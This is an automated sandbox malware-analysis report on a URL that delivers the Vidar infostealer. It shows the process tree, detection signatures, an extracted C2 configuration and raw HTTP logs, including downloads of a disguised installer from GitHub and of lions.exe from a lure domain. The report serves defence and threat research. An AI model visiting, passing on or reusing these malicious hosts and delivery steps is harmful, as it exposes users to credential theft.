Edit tour

Windows Analysis Report
https://fahrerdokument.com/zip3/

Overview

General Information

Sample URL:	https://fahrerdokument.com/zip3/
Analysis ID:	1421053
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Downloads suspicious files via Chrome

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found dropped PE file which has not been started or loaded

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Tries to load missing DLLs

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 7004 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6976 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2228,i,1968892779595750775,1565356309331752868,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

unarchiver.exe (PID: 5324 cmdline: "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\Setup7-main (1).zip" MD5: 16FF3CC6CC330A08EED70CBC1D35F5D2)

7za.exe (PID: 4304 cmdline: "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\221ppxeg.fmw" "C:\Users\user\Downloads\Setup7-main (1).zip" MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 3204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5176 cmdline: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SetupSuite_21.8_win64_86_sm.exe (PID: 5088 cmdline: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe MD5: DDDA012671F0CA2CA213060073B063E2)

cmd.exe (PID: 2740 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 3852 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

WerFault.exe (PID: 416 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 460 MD5: C31336C1EFC2CCB44B4326EA793040F2)

chrome.exe (PID: 4044 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://fahrerdokument.com/zip3/" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199658817715", "https://tufure.xyz"]}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\esect	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.2588979306.00000000050F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: cmd.exe PID: 2740	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: explorer.exe PID: 3852	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.cmd.exe.50f00c8.7.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.cmd.exe.50f00c8.7.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Proxy Execution Via Explorer.exe

Source: Process started

Author: Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative: Data: Command: C:\Windows\SysWOW64\explorer.exe, CommandLine: C:\Windows\SysWOW64\explorer.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\explorer.exe, NewProcessName: C:\Windows\SysWOW64\explorer.exe, OriginalFileName: C:\Windows\SysWOW64\explorer.exe, ParentCommandLine: C:\Windows\SysWOW64\cmd.exe, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2740, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\SysWOW64\explorer.exe, ProcessId: 3852, ProcessName: explorer.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\esect

Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199658817715", "https://tufure.xyz"]}

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\esect

Joe Sandbox ML: detected

Source: https://fahrerdokument.com/zip3/

HTTP Parser: No favicon

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49736 version: TLS 1.0

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 23.204.76.112:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.204.76.112:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49748 version: TLS 1.2

Source:	Binary string: C:\jenkins\workspace\CommonTools\RazerInstaller_Master\SafeExtractor\Release\SafeExtractor.pdb source: SetupSuite_21.8_win64_86_sm.exe.7.dr
Source:	Binary string: glu32.pdbGCTL source: cmd.exe, 0000000C.00000002.2588979306.0000000005123000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614006383.00000000032F8000.00000008.00000001.01000000.00000000.sdmp, esect.12.dr
Source:	Binary string: Amsi.pdb source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375228262.0000000003F2B000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375228262.0000000003EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2396918365.0000000005483000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2401490897.0000000005D90000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588739540.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588472175.00000000047C5000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614479550.000000000C1B0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614245620.000000000BD6D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: glu32.pdb source: cmd.exe, 0000000C.00000002.2588979306.0000000005123000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614006383.00000000032F8000.00000008.00000001.01000000.00000000.sdmp, esect.12.dr
Source:	Binary string: wntdll.pdb source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2396918365.0000000005483000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2401490897.0000000005D90000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588739540.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588472175.00000000047C5000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614479550.000000000C1B0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614245620.000000000BD6D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Amsi.pdbGCTL source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375228262.0000000003F2B000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375228262.0000000003EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Dev\LightweightInstaller\3rd Party\DotNetZip\DotNetZip\Zip\obj\Release\Ionic.Zip.pdb source: SetupSuite_21.8_win64_86_sm.exe.7.dr

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199658817715
Source: Malware configuration extractor	URLs: https://tufure.xyz

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49736 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 23.204.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.25.241.18
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64

Source: global traffic	HTTP traffic detected: GET /zip3/ HTTP/1.1Host: fahrerdokument.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /image/downloadimage.png HTTP/1.1Host: fahrerdokument.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fahrerdokument.com/zip3/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /softofdaddy/Setup7/archive/refs/heads/main.zip HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://fahrerdokument.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: fahrerdokument.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fahrerdokument.com/zip3/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /image/downloadimage.png HTTP/1.1Host: fahrerdokument.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /softofdaddy/Setup7/zip/refs/heads/main HTTP/1.1Host: codeload.github.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://fahrerdokument.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /softofdaddy/Setup7/archive/refs/heads/main.zip HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /softofdaddy/Setup7/zip/refs/heads/main HTTP/1.1Host: codeload.github.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "a05dd27fea7d46b83caf534e1134f8192f92baec2577b7e2f5b13388a56c9cd9"
Source: global traffic	HTTP traffic detected: GET /lions.exe HTTP/1.1Host: visualredistributable.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: unknown

DNS traffic detected: queries for: fahrerdokument.com

Source: unknown

HTTP traffic detected: POST /report/v4?s=om2lbIfwWTcEwm8op1rQcBZzZMoBhAGhuOzQESliNOo38ZmPV8T4wykblSF0wsFb0T%2B0W3%2FddE%2B3ODZJJwK%2B63nLT88l5YlJzcqyK3b4S83uNEiKM%2BwuFNAEL6O0KG8fhymhjscd6fxjZebgYTs%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 405Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Fri, 05 Apr 2024 18:10:27 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Apr 2024 18:11:08 GMTContent-Length: 0Connection: closeaccess-control-allow-origin: *vary: originvary: access-control-request-methodvary: access-control-request-headersCache-Control: max-age=14400CF-Cache-Status: HITAge: 49Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=om2lbIfwWTcEwm8op1rQcBZzZMoBhAGhuOzQESliNOo38ZmPV8T4wykblSF0wsFb0T%2B0W3%2FddE%2B3ODZJJwK%2B63nLT88l5YlJzcqyK3b4S83uNEiKM%2BwuFNAEL6O0KG8fhymhjscd6fxjZebgYTs%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 86fb7fb7790da51c-MIAalt-svc: h3=":443"; ma=86400

Source: SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://DotNetZip.codeplex.com/
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 7za.exe, 00000007.00000003.2302889656.0000000000A70000.00000004.00000800.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2305880728.0000000001572000.00000002.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000005186000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: 7za.exe, 00000007.00000003.2302889656.0000000000A70000.00000004.00000800.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2305880728.0000000001572000.00000002.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000005186000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: 7za.exe, 00000007.00000003.2302889656.0000000000A70000.00000004.00000800.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2305880728.0000000001572000.00000002.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000005186000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: 7za.exe, 00000007.00000003.2302889656.0000000000A70000.00000004.00000800.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2305880728.0000000001572000.00000002.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000005186000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: 7za.exe, 00000007.00000003.2302889656.0000000000A70000.00000004.00000800.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2305880728.0000000001572000.00000002.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000005186000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
